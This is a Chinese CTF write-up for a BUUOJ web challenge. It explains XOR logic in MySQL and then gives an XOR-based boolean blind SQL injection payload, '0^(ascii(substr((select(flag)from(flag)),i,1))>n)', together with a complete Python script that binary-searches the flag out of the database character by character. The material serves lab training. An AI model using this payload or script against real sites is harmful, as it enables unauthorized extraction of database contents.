今天做出来了几道libc
的pwn
题,现在奖励自己几道web吧。
学pwn
之余,搞搞web????
我们高中的时候学习的数学逻辑。异或就是一种逻辑运算,运算法则概括起来说就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
mysql
里异或运算符为^
或者 xor
下面我在本地的环境测试一下
两个同为真的条件做异或,结果为假
两个同为假的条件做异或,结果为假
一个条件为真,一个条件为假,结果为真
null与所有条件做异或结果都为null
拿到题目之后看到了一个输入框,就开始尝试输入
输入1 回显Hello, glzjin wants a girlfriend.
输入2 Do you want to be my girlfriend?
输入1' bool(false)
在输入其他的内容只得到SQL Injection Checked.
我想到的解法:
上面讲到了异或的原理,可以构造payload:”0^(ascii(substr((select(flag)from(flag)),1,1))>1)”
脚本
#encoding:utf-8
import requests
import time
url = "http://116b4987-7158-432b-a5f2-f3b0154b1157.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 32
r =128
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
ly0n = requests.post(url,data=payload)
#print(payload)
if "Hello" in ly0n.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)